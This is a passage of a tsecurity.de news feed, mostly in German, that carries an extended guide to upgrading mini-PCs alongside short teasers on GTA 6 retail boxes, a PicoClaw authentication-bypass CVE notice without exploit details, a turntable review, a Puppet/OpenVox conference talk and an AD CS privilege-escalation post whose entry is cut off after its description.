<title><![CDATA[GTA 6 ohne Disc: Retail-Box enthält nur Download-Code]]></title>
<description><![CDATA[LONDON (IT BOLTWISE) – Rockstar startet die Vorbestellungen für „Grand Theft Auto 6“ und kündigt dabei einen überraschend diskreten Formfaktor an: Die physische Version kommt ohne Disc, sondern nur als Box mit Download-Code. Parallel dazu rückt das Pre-Loading-Setup näher, sobald November-Daten e...]]></description>
<link>https://tsecurity.de/de/3679798/it-security-nachrichten/gta-6-ohne-disc-retail-box-enthaelt-nur-download-code/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679798/it-security-nachrichten/gta-6-ohne-disc-retail-box-enthaelt-nur-download-code/</guid>
<pubDate>Sun, 19 Jul 2026 19:43:39 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1024" height="1024" src="https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-gta6-disc-less-retail-code.jpg" class="attachment- size- wp-post-image" alt="" decoding="async" srcset="https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-gta6-disc-less-retail-code.jpg 1024w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-gta6-disc-less-retail-code-300x300.jpg 300w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-gta6-disc-less-retail-code-150x150.jpg 150w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-gta6-disc-less-retail-code-768x768.jpg 768w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-gta6-disc-less-retail-code-840x840.jpg 840w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-gta6-disc-less-retail-code-120x120.jpg 120w" sizes="(max-width: 1024px) 100vw, 1024px">LONDON (IT BOLTWISE) – Rockstar startet die Vorbestellungen für „Grand Theft Auto 6“ und kündigt dabei einen überraschend diskreten Formfaktor an: Die physische Version kommt ohne Disc, sondern nur als Box mit Download-Code. Parallel dazu rückt das Pre-Loading-Setup näher, sobald November-Daten erreicht werden. Damit verschiebt sich der Kaufanreiz in Richtung Verfügbarkeit, Bundle-Bonus und Plattform-Ökosystem. Für […]</p>
<div><a href="https://www.it-boltwise.de/gta-6-ohne-disc-retail-box-enthaelt-nur-download-code.html">... den vollständigen Artikel <strong>»GTA 6 ohne Disc: Retail-Box enthält nur Download-Code«</strong> lesen</a></div>
<p>Dieser Beitrag <a href="https://www.it-boltwise.de/gta-6-ohne-disc-retail-box-enthaelt-nur-download-code.html">GTA 6 ohne Disc: Retail-Box enthält nur Download-Code</a> erschien als erstes auf <a href="https://www.it-boltwise.de/">IT BOLTWISE x Artificial Intelligence</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[How a virtual LAN can better protect your home network - and the best way to get started]]></title>
<description><![CDATA[You might think a basic LAN setup is secure enough, but there could be issues lurking that require device isolation to ensure your security.]]></description>
<link>https://tsecurity.de/de/3679282/it-security-nachrichten/how-a-virtual-lan-can-better-protect-your-home-network-and-the-best-way-to-get-started/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679282/it-security-nachrichten/how-a-virtual-lan-can-better-protect-your-home-network-and-the-best-way-to-get-started/</guid>
<pubDate>Sun, 19 Jul 2026 12:08:48 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[You might think a basic LAN setup is secure enough, but there could be issues lurking that require device isolation to ensure your security.]]></content:encoded>
</item>
<item>
<title><![CDATA[Mini-PC aufrüsten: Was möglich ist und was sich lohnt]]></title>
<description><![CDATA[Mini-PCs sind längst mehr als einfache Office-Rechner. Sie stehen auf dem Schreibtisch, hinter dem Monitor, im Wohnzimmer oder im Heimlabor und übernehmen dort Aufgaben, für die früher ein großer Desktop-PC nötig war. Genau deshalb lohnt sich der Blick ins Innere: Wer RAM, SSD, WLAN und Anschlüss...]]></description>
<link>https://tsecurity.de/de/3679030/windows-tipps/mini-pc-aufruesten-was-moeglich-ist-und-was-sich-lohnt/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679030/windows-tipps/mini-pc-aufruesten-was-moeglich-ist-und-was-sich-lohnt/</guid>
<pubDate>Sun, 19 Jul 2026 09:10:02 +0200</pubDate>
<category>🪟 Windows Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Mini-PCs sind längst mehr als einfache Office-Rechner. Sie stehen auf dem Schreibtisch, hinter dem Monitor, im Wohnzimmer oder im Heimlabor und übernehmen dort Aufgaben, für die früher ein großer Desktop-PC nötig war. Genau deshalb lohnt sich der Blick ins Innere: Wer RAM, SSD, WLAN und Anschlüsse vor dem Kauf richtig einschätzt, kann ein kompaktes System später gezielt erweitern statt vorschnell ersetzen.</p>



<p>Der Spielraum ist allerdings kleiner als bei klassischen Tower-PCs. Kompakte Gehäuse, verlötete Bauteile und enge Kühlsysteme setzen klare Grenzen. Trotzdem können RAM, SSD, WLAN-Modul oder externe Grafiklösung den Unterschied machen – zwischen einem Mini-PC, der nur knapp ausreicht, und einem System, das noch mehrere Jahre sinnvoll nutzbar bleibt.</p>



<h2 class="wp-block-heading">Was sich überhaupt aufrüsten lässt</h2>



<p>Drei Komponenten sind in den meisten Mini-PCs zugänglich: Arbeitsspeicher, SSD und das WLAN-Modul. Eine externe Grafikkarte kommt als vierte Option hinzu, sofern der passende Anschluss vorhanden ist. Prozessor und integrierte Grafik bleiben außen vor. Sie sind fest verlötet. Wer das vorher weiß, spart sich Enttäuschungen.</p>



<p>Wie groß die Unterschiede ausfallen können, zeigt der <a href="https://www.pcwelt.de/article/2966291/sapphire-edge-ai-370-test.html" target="_blank" rel="noreferrer noopener">Sapphire Edge AI 370</a> als positives Beispiel. Der Mini-PC nutzt austauschbare DDR5-SO-DIMMs statt verlötetem LPDDR-Speicher und unterstützt bis zu 96 GB RAM. Auch die SSDs sind gut erreichbar: Der magnetisch befestigte Deckel lässt sich ohne Werkzeug abnehmen, darunter liegen die wichtigsten Komponenten direkt zugänglich. Für Käufer, die später aufrüsten wollen, ist eine solche Bauweise ein klarer Vorteil.</p>



<h2 class="wp-block-heading">Arbeitsspeicher: der erste Griff</h2>



<p>Der RAM ist die naheliegendste Maßnahme. In vielen Mini-PCs stecken SO-DIMM-Riegel in einem Sockel, wie man sie aus dem Notebook kennt. Oft reichen ein Schraubendreher und wenige Minuten. Je nach Gehäuse können aber zusätzliche Abdeckungen, Clips oder verklebte Füße den Zugriff erschweren.</p>



<p>Aktuelle Geräte nutzen DDR5, ältere DDR4. Die beiden Generationen sind nicht kompatibel, die Kerbe sitzt an anderer Stelle.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure data-wp-context='{"imageId":"6a5c7833cb865"}' data-wp-interactive="core/image" class="wp-block-image size-large wp-lightbox-container"><img decoding="async" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on-async--click="actions.showLightbox" data-wp-on-async--load="callbacks.setButtonStyles" data-wp-on-async-window--resize="callbacks.setButtonStyles" src="https://b2c-contenthub.com/wp-content/uploads/2025/11/Test-SAPPHIRE-EDGE-AI-370-Aufrustung.jpg?quality=50&amp;strip=all&amp;w=1200" alt="Test SAPPHIRE EDGE AI 370 - Aufrüstung" class="wp-image-2966297" width="1200" height="900" loading="lazy"><button class="lightbox-trigger" type="button" aria-haspopup="dialog" aria-label="Enlarge" data-wp-init="callbacks.initTriggerButton" data-wp-on-async--click="actions.showLightbox" data-wp-style--right="state.imageButtonRight" data-wp-style--top="state.imageButtonTop">
				<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="none" viewbox="0 0 12 12">
					<path fill="#fff" d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z"></path>
				</svg>
			</button></figure><p class="imageCredit">Christoph Hoffmann</p></div>



<p>Zwei Punkte entscheiden über den Erfolg: Erstens die maximale Kapazität, die das Board adressiert. Steht im Datenblatt 64 GB, sollte man ein größeres Kit nicht einplanen. In Einzelfällen kann mehr Speicher funktionieren, garantiert ist das aber nicht. Zweitens der Dual-Channel-Betrieb. Zwei gleiche Riegel liefern mehr Tempo als ein einzelner, was sich gerade bei der integrierten Grafik bemerkbar macht.</p>



<p>Vorsicht bei besonders flachen Modellen: LPDDR5 oder LPDDR5X sitzt meist fest auf der Platine, ein Tausch ist ausgeschlossen. LPCAMM2 könnte das künftig ändern, weil LPDDR-Speicher damit als steckbares Modul ausgeführt wird. In Mini-PCs ist das aber noch nicht der Normalfall. Wer später aufrüsten will, sollte deshalb vor dem Kauf ausdrücklich nach SO-DIMM- oder LPCAMM2-Steckplätzen suchen.</p>



<h2 class="wp-block-heading">SSD: mehr Platz, mehr Tempo</h2>



<p>Die zweite lohnende Maßnahme betrifft die SSD. Hersteller sparen hier gern an zwei Fronten: an Kapazität und an Tempo. 512 GB sind schnell voll. Viele Mini-PCs bieten einen M.2-2280-Steckplatz für eine NVMe-SSD, manche zwei oder drei. Geräte wie der GMKtec K12 bringen drei M.2-Slots mit – Raum genug, um Windows und Daten zu trennen.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure data-wp-context='{"imageId":"6a5c7833cbe9f"}' data-wp-interactive="core/image" class="wp-block-image size-large wp-lightbox-container"><img decoding="async" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on-async--click="actions.showLightbox" data-wp-on-async--load="callbacks.setButtonStyles" data-wp-on-async-window--resize="callbacks.setButtonStyles" src="https://b2c-contenthub.com/wp-content/uploads/2025/08/Geekom-A9-Max-SSD.jpg?quality=50&amp;strip=all&amp;w=1200" alt="Geekom A9 Max - SSD" class="wp-image-2883325" width="1200" height="900" loading="lazy"><button class="lightbox-trigger" type="button" aria-haspopup="dialog" aria-label="Enlarge" data-wp-init="callbacks.initTriggerButton" data-wp-on-async--click="actions.showLightbox" data-wp-style--right="state.imageButtonRight" data-wp-style--top="state.imageButtonTop">
				<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="none" viewbox="0 0 12 12">
					<path fill="#fff" d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z"></path>
				</svg>
			</button></figure><p class="imageCredit">Christoph Hoffmann</p></div>



<p>Achten Sie auf die PCIe-Generation. Neue Modelle unterstützen teils PCIe 5.0, die meisten PCIe 4.0. Eine schnellere SSD läuft auch in einem langsameren Slot, dann eben gedrosselt. Ein zweiter Steckplatz lässt sich für ein reines Datenlaufwerk nutzen, ohne das System anzutasten. Wer nur ein kleindimensioniertes Laufwerk vorfindet, sichert seine Daten, klont die alte SSD vor dem Tausch oder setzt Windows neu auf.</p>



<p>Wichtig ist außerdem die Bauhöhe. In manchen Mini-PCs bleibt wenig Platz für SSDs mit hohem Kühlkörper. Oft passt nur ein dünnes Wärmeleitpad, nicht aber ein hoher SSD-Kühlkörper. Eine sehr schnelle PCIe-5.0-SSD bringt wenig, wenn sie im engen Gehäuse wegen Hitze schnell drosselt.</p>



<h2 class="wp-block-heading">Praxis-Tipp: Vorsicht bei WLAN-Antennen</h2>



<p>Beim Öffnen mancher Mini-PCs ist Vorsicht geboten. Innenliegende Metallabdeckungen führen die WLAN-Antennenkabel teils sehr knapp an der WLAN-Karte vorbei. Wer RAM oder SSD tauscht, kann beim Abheben der Abdeckung versehentlich das schwarze und graue Antennenkabel lösen. Danach funktionieren WLAN und Bluetooth nicht mehr zuverlässig oder gar nicht. In unserem Test des <a href="https://www.pcwelt.de/article/2883309/geekom-a9-max-test.html" target="_blank" rel="noreferrer noopener">Geekom A9 Max</a> zeigte sich genau dieses Risiko.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure data-wp-context='{"imageId":"6a5c7833cc44e"}' data-wp-interactive="core/image" class="wp-block-image size-large wp-lightbox-container"><img decoding="async" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on-async--click="actions.showLightbox" data-wp-on-async--load="callbacks.setButtonStyles" data-wp-on-async-window--resize="callbacks.setButtonStyles" src="https://b2c-contenthub.com/wp-content/uploads/2025/09/Test-GEEKOM-A9-Max-Antennenkabel-rotated.jpg?quality=50&amp;strip=all&amp;w=900" alt="Test GEEKOM A9 Max - Antennenkabel" class="wp-image-2894968" width="900" height="1200" loading="lazy"><button class="lightbox-trigger" type="button" aria-haspopup="dialog" aria-label="Enlarge" data-wp-init="callbacks.initTriggerButton" data-wp-on-async--click="actions.showLightbox" data-wp-style--right="state.imageButtonRight" data-wp-style--top="state.imageButtonTop">
				<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="none" viewbox="0 0 12 12">
					<path fill="#fff" d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z"></path>
				</svg>
			</button></figure><p class="imageCredit">Christoph Hoffmann</p></div>



<p>Ziehen Sie Abdeckungen deshalb nie ruckartig ab. Prüfen Sie zuerst, ob Antennenkabel mit Klebestreifen fixiert sind, und lösen Sie diese vorsichtig. Falls die Kabel bereits abgezogen sind, müssen sie wieder auf die WLAN-Karte gesteckt werden: Schwarz gehört meist auf „Main“, Grau auf „AUX“. Oft sitzt die WLAN-Karte unter der M.2-SSD, sodass die SSD vorübergehend ausgebaut werden muss.</p>



<h2 class="wp-block-heading">WLAN-Modul: der Sprung auf Wi-Fi 7</h2>



<p>Das WLAN-Modul ist das unscheinbare Upgrade. In vielen Mini-PCs sitzt es als kleine M.2-2230-Karte unter einer Abdeckung und lässt sich gegen ein neueres Modell tauschen. Vor dem Kauf sollten Sie aber prüfen, ob Antennenanschlüsse, Bauform, Anbindung und Treiber passen.</p>



<p>Der Wechsel von Wi-Fi 5 oder Wi-Fi 6 auf Wi-Fi 7 bringt mehr Durchsatz und Bluetooth in aktueller Version. Spürbar wird der Nutzen aber nur, wenn auch der Router mitspielt. Für Geräte am Netzwerkkabel lohnt der Tausch kaum.</p>



<h2 class="wp-block-heading">Externe Grafikkarte: OCuLink hat Leistungsvorteile</h2>



<p>Den deutlichsten Sprung bringt eine externe Grafikkarte. Mini-PCs setzen auf integrierte Grafik, die für Office und Filme genügt, beim Spielen aber an Grenzen stößt. Eine eGPU schließt die Lücke. Sie steckt in einem Gehäuse mit eigenem Netzteil und verbindet sich per Kabel mit dem Rechner.</p>



<p>Der Anschluss entscheidet über das Ergebnis. OCuLink führt die PCIe-Leitungen direkt nach außen und verliert deshalb nur wenig Leistung. Bei PCIe 4.0 x4 stehen 64 Gbit/s zur Verfügung. Je nach Grafikkarte, Spiel, Auflösung und Dock liegt der Leistungsverlust oft grob bei 3 bis 7 Prozent.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure data-wp-context='{"imageId":"6a5c7833ccbf0"}' data-wp-interactive="core/image" class="wp-block-image size-large wp-lightbox-container"><img decoding="async" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on-async--click="actions.showLightbox" data-wp-on-async--load="callbacks.setButtonStyles" data-wp-on-async-window--resize="callbacks.setButtonStyles" src="https://b2c-contenthub.com/wp-content/uploads/2026/04/Framework-Oculink-eGPU-dev-kit.png?w=1200" alt="Framework Oculink external GPU dev kit" class="wp-image-3120744" width="1200" height="900" loading="lazy"><button class="lightbox-trigger" type="button" aria-haspopup="dialog" aria-label="Enlarge" data-wp-init="callbacks.initTriggerButton" data-wp-on-async--click="actions.showLightbox" data-wp-style--right="state.imageButtonRight" data-wp-style--top="state.imageButtonTop">
				<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="none" viewbox="0 0 12 12">
					<path fill="#fff" d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z"></path>
				</svg>
			</button></figure><p class="imageCredit">Mark Hachman / Foundry</p></div>



<p>USB4 und Thunderbolt sind flexibler, bremsen eine externe Grafikkarte aber meist stärker aus. Thunderbolt 5 und USB4 v2 bieten deutlich mehr Bandbreite als Thunderbolt 4 oder klassisches USB4, trotzdem hängt der Leistungsverlust stark von Dock, Grafikkarte, Spiel und Auflösung ab.</p>



<p>Als grobe Orientierung gilt: OCuLink liegt häufig im niedrigen einstelligen Prozentbereich, Thunderbolt 4 und USB4 können je nach Szenario deutlich mehr Leistung kosten. Ein verbreiteter Irrtum bleibt daher: Ein USB4-Port allein macht noch keinen guten eGPU-Host.</p>



<p>Ein Nachteil bleibt: OCuLink kennt kein Hot-Plug. Zum Verbinden oder Trennen muss der Rechner heruntergefahren werden. Und günstig ist das Setup nicht: Gehäuse, Grafikkarte und ein passendes Netzteil summieren sich. Wer ohnehin am Schreibtisch bleibt, fährt mit einem kompakten Desktop oft preiswerter.</p>



<h2 class="wp-block-heading">Kühlung und Wärmeleitpaste</h2>



<p>Ein Mini-PC lebt von kompakter Bauweise. Das hat seinen Preis bei der Kühlung. Wer das Gehäuse ohnehin geöffnet hat, kann die Wärmeleitpaste erneuern. Bei älteren Geräten bringt das ein paar Grad weniger und einen ruhigeren Lüfter. Ein Pflichtprogramm ist es nicht. Wer sich unsicher fühlt, lässt die Finger davon. Wer zu viel Wärmeleitpaste verwendet oder Bauteile beim Zerlegen beschädigt, schafft schnell mehr Probleme, als er löst.</p>



<h2 class="wp-block-heading">Betriebssystem und BIOS</h2>



<p>Auch ohne neue Hardware lässt sich Tempo gewinnen. Ein aktuelles BIOS behebt Fehler und gibt manchmal höhere RAM-Taktraten frei. Vor dem Update sollten Sie aber das exakte Modell prüfen, die Herstellerhinweise lesen und den Vorgang nicht bei instabiler Stromversorgung starten.</p>



<p>Wer Windows als Bremse empfindet, kann ein schlankes Linux installieren. Das weckt gerade ältere Mini-PCs neu auf. Beides kostet kein zusätzliches Geld, verlangt aber Vorbereitung und etwas Zeit.</p>



<figure class="wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio"><div class="wp-block-embed__wrapper">

</div></figure>



<h2 class="wp-block-heading">Wo die Grenzen liegen</h2>



<p>Drei Dinge bleiben bei den meisten Mini-PCs praktisch ausgeschlossen. Der Prozessor ist verlötet und nicht zu tauschen. Die integrierte Grafik hängt am Prozessor und teilt sein Schicksal. Und die maximale RAM-Kapazität legt das Board fest, nicht der gute Wille. Wer an diese Wände stößt, steht vor der Frage nach einem neuen Gerät – nicht vor einem Upgrade.</p>



<h2 class="wp-block-heading">Was sich lohnt – und was nicht</h2>



<p>Unterm Strich zeichnet sich eine klare Rangfolge ab. Mehr RAM bringt für wenig Geld viel und bleibt der erste Griff, sofern ein Sockel verbaut ist. Eine größere oder schnellere SSD schafft Platz und Reserven. Das WLAN-Modul lohnt sich nur mit passender Gegenstelle. Eine eGPU kann den Mini-PC deutlich spieletauglicher machen, verlangt aber Anschluss, Geld und einen festen Platz. Prozessor und Grafikeinheit können nicht angerührt werden.</p>



<p>Der wichtigste Schritt steht vor dem Kauf: Wer später aufrüsten will, prüft Sockel, Steckplätze und Anschlüsse im Datenblatt. Ein Mini-PC mit zwei RAM-Slots, zusätzlichem M.2-Steckplatz und OCuLink-Port lässt viele Aufrüstoptionen offen. Ein flaches Modell mit verlötetem Speicher bleibt dagegen weitgehend auf dem Stand des ersten Tages.</p>



<div class="wp-block-idg-base-theme-faq-block faq-block"><h2 class="faq-block-title"> FAQ </h2><hr class="block-horizotal-divider">
<div class="wp-block-idg-base-theme-faq-inner-block faq-save-block"><div class="faq-save-content"><span class="faq-rank">1.</span>
<h3 class="wp-block-heading"><strong>Kann man jeden Mini-PC aufrüsten?</strong></h3>



<div class="wp-block-idg-base-theme-faq-answer-block how-to-tip">
<p>Nein. Viele Mini-PCs erlauben den Tausch von RAM, SSD oder WLAN-Modul. Sehr flache Modelle haben den Arbeitsspeicher aber oft verlötet oder erschweren den Zugriff auf einzelne Komponenten.</p>
</div>
</div></div>



<div class="wp-block-idg-base-theme-faq-inner-block faq-save-block"><div class="faq-save-content"><span class="faq-rank">2.</span>
<h3 class="wp-block-heading"><strong>Was bringt bei Mini-PCs am meisten?</strong></h3>



<div class="wp-block-idg-base-theme-faq-answer-block how-to-tip">
<p>Meist lohnt zuerst mehr Arbeitsspeicher. Danach folgt eine größere oder schnellere SSD. Beides verbessert Alltagstempo, Multitasking und Reserven deutlich.</p>
</div>
</div></div>



<div class="wp-block-idg-base-theme-faq-inner-block faq-save-block"><div class="faq-save-content"><span class="faq-rank">3.</span>
<h3 class="wp-block-heading"><strong>Kann man den Prozessor tauschen?</strong></h3>



<div class="wp-block-idg-base-theme-faq-answer-block how-to-tip">
<p>In der Regel nicht. Prozessor und integrierte Grafik sind bei Mini-PCs fast immer fest verlötet. Ein CPU-Upgrade ist daher praktisch ausgeschlossen.</p>
</div>
</div></div>



<div class="wp-block-idg-base-theme-faq-inner-block faq-save-block"><div class="faq-save-content"><span class="faq-rank">4.</span>
<h3 class="wp-block-heading"><strong>Ist eine externe Grafikkarte sinnvoll?</strong></h3>



<div class="wp-block-idg-base-theme-faq-answer-block how-to-tip">
<p>Ja, aber nur mit passendem Anschluss und realistischem Budget. OCuLink liefert meist die bessere eGPU-Leistung, USB4 und Thunderbolt sind dafür flexibler. Ein eGPU-Gehäuse, Netzteil und Grafikkarte machen das Setup aber teuer.</p>
</div>
</div></div>



<div class="wp-block-idg-base-theme-faq-inner-block faq-save-block"><div class="faq-save-content"><span class="faq-rank">5.</span>
<h3 class="wp-block-heading"><strong>Lohnt sich ein WLAN-Upgrade?</strong></h3>



<div class="wp-block-idg-base-theme-faq-answer-block how-to-tip">
<p>Nur, wenn auch der Router den neuen Standard unterstützt. Wer den Mini-PC per LAN-Kabel nutzt, profitiert von einem neuen WLAN-Modul kaum.</p>
</div>
</div></div>



<div class="wp-block-idg-base-theme-faq-inner-block faq-save-block"><div class="faq-save-content"><span class="faq-rank">6.</span>
<h3 class="wp-block-heading"><strong>Worauf sollte man vor dem Kauf achten?</strong></h3>



<div class="wp-block-idg-base-theme-faq-answer-block how-to-tip">
<p>Wichtig sind RAM-Slots, ein zusätzlicher M.2-Steckplatz, Platz für SSDs ohne hohen Kühlkörper, ein tauschbares WLAN-Modul und bei eGPU-Plänen ein ausgewiesener OCuLink-Anschluss.</p>
</div>
</div></div>
</div>

</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-16198 | Sipeed PicoClaw up to 0.2.9 First Run Setup access_control.go allowed_cidrs authentication bypass (Issue 3080 / EUVD-2026-45409)]]></title>
<description><![CDATA[A vulnerability marked as critical has been reported in Sipeed PicoClaw up to 0.2.9. The impacted element is an unknown function of the file web/backend/middleware/access_control.go of the component First Run Setup. Performing a manipulation of the argument allowed_cidrs results in authentication...]]></description>
<link>https://tsecurity.de/de/3678812/sicherheitsluecken/cve-2026-16198-sipeed-picoclaw-up-to-029-first-run-setup-accesscontrolgo-allowedcidrs-authentication-bypass-issue-3080-euvd-2026-45409/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678812/sicherheitsluecken/cve-2026-16198-sipeed-picoclaw-up-to-029-first-run-setup-accesscontrolgo-allowedcidrs-authentication-bypass-issue-3080-euvd-2026-45409/</guid>
<pubDate>Sun, 19 Jul 2026 05:23:53 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability marked as <a href="https://vuldb.com/kb/risk">critical</a> has been reported in <a href="https://vuldb.com/product/sipeed:picoclaw">Sipeed PicoClaw up to 0.2.9</a>. The impacted element is an unknown function of the file <em>web/backend/middleware/access_control.go</em> of the component <em>First Run Setup</em>. Performing a manipulation of the argument <em>allowed_cidrs</em> results in authentication bypass using alternate channel.

This vulnerability was named <a href="https://vuldb.com/cve/CVE-2026-16198">CVE-2026-16198</a>. The attack may be initiated remotely. In addition, an exploit is available.

Applying a patch is the recommended action to fix this issue.]]></content:encoded>
</item>
<item>
<title><![CDATA[I breathed new life into my vinyl with Fluance's RT87 turntable and while setup was finicky, it's well worth it for seasoned record collectors]]></title>
<description><![CDATA[The Fluance RT87 sounds as great as it is finicky to set up — but then again, if you're a seasoned hi-fi tinkerer, you may actually enjoy the process…]]></description>
<link>https://tsecurity.de/de/3678439/it-nachrichten/i-breathed-new-life-into-my-vinyl-with-fluances-rt87-turntable-and-while-setup-was-finicky-its-well-worth-it-for-seasoned-record-collectors/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678439/it-nachrichten/i-breathed-new-life-into-my-vinyl-with-fluances-rt87-turntable-and-while-setup-was-finicky-its-well-worth-it-for-seasoned-record-collectors/</guid>
<pubDate>Sat, 18 Jul 2026 21:17:47 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The Fluance RT87 sounds as great as it is finicky to set up — but then again, if you're a seasoned hi-fi tinkerer, you may actually enjoy the process…]]></content:encoded>
</item>
<item>
<title><![CDATA[Realize the Potential of OpenVox – with LinuxAid (voxconf2026)]]></title>
<description><![CDATA[Puppet has been the hidden glue of system automation for decades  but it never came turnkey. Every sysadmin built their own setup: roles, profiles, PuppetDB, eyaml, hiera, octocatalog-diff  reinventing the same wheel, privately, forever. LinuxAid changes that. Built on OpenVox, it packages those ...]]></description>
<link>https://tsecurity.de/de/3678306/it-security-video/realize-the-potential-of-openvox-with-linuxaid-voxconf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678306/it-security-video/realize-the-potential-of-openvox-with-linuxaid-voxconf2026/</guid>
<pubDate>Sat, 18 Jul 2026 19:10:08 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Puppet has been the hidden glue of system automation for decades  but it never came turnkey. Every sysadmin built their own setup: roles, profiles, PuppetDB, eyaml, hiera, octocatalog-diff  reinventing the same wheel, privately, forever. LinuxAid changes that. Built on OpenVox, it packages those decades of hard-won operational decisions  the common module, monitoring module, typed DSL, change-preview with octocatalog-diff  into a single collaborative platform anyone can fork, use, and improve. When you build your platform as open source instead of just on open source, the work you do for one customer compounds for everyone.


about this event: https://c3voc.de]]></content:encoded>
</item>
<item>
<title><![CDATA[Realize the Potential of OpenVox – with LinuxAid (voxconf2026)]]></title>
<description><![CDATA[Puppet has been the hidden glue of system automation for decades  but it never came turnkey. Every sysadmin built their own setup: roles, profiles, PuppetDB, eyaml, hiera, octocatalog-diff  reinventing the same wheel, privately, forever. LinuxAid changes that. Built on OpenVox, it packages those ...]]></description>
<link>https://tsecurity.de/de/3678295/it-security-video/realize-the-potential-of-openvox-with-linuxaid-voxconf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678295/it-security-video/realize-the-potential-of-openvox-with-linuxaid-voxconf2026/</guid>
<pubDate>Sat, 18 Jul 2026 18:48:43 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Puppet has been the hidden glue of system automation for decades  but it never came turnkey. Every sysadmin built their own setup: roles, profiles, PuppetDB, eyaml, hiera, octocatalog-diff  reinventing the same wheel, privately, forever. LinuxAid changes that. Built on OpenVox, it packages those decades of hard-won operational decisions  the common module, monitoring module, typed DSL, change-preview with octocatalog-diff  into a single collaborative platform anyone can fork, use, and improve. When you build your platform as open source instead of just on open source, the work you do for one customer compounds for everyone.


about this event: https://c3voc.de]]></content:encoded>
</item>
<item>
<title><![CDATA[How I Escalated to Domain Admin Using AD CS (And How to Fix It)]]></title>
<description><![CDATA[What is AD CS?Active Directory Certificate Services (AD CS) allows users and computers to obtain certificates for authentication, encryption, and other services.If certificate templates are misconfigured, attackers can request certificates for other users, including Domain Administrators, leading...]]></description>
<link>https://tsecurity.de/de/3677784/hacking/how-i-escalated-to-domain-admin-using-ad-cs-and-how-to-fix-it/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677784/hacking/how-i-escalated-to-domain-admin-using-ad-cs-and-how-to-fix-it/</guid>
<pubDate>Sat, 18 Jul 2026 11:39:17 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
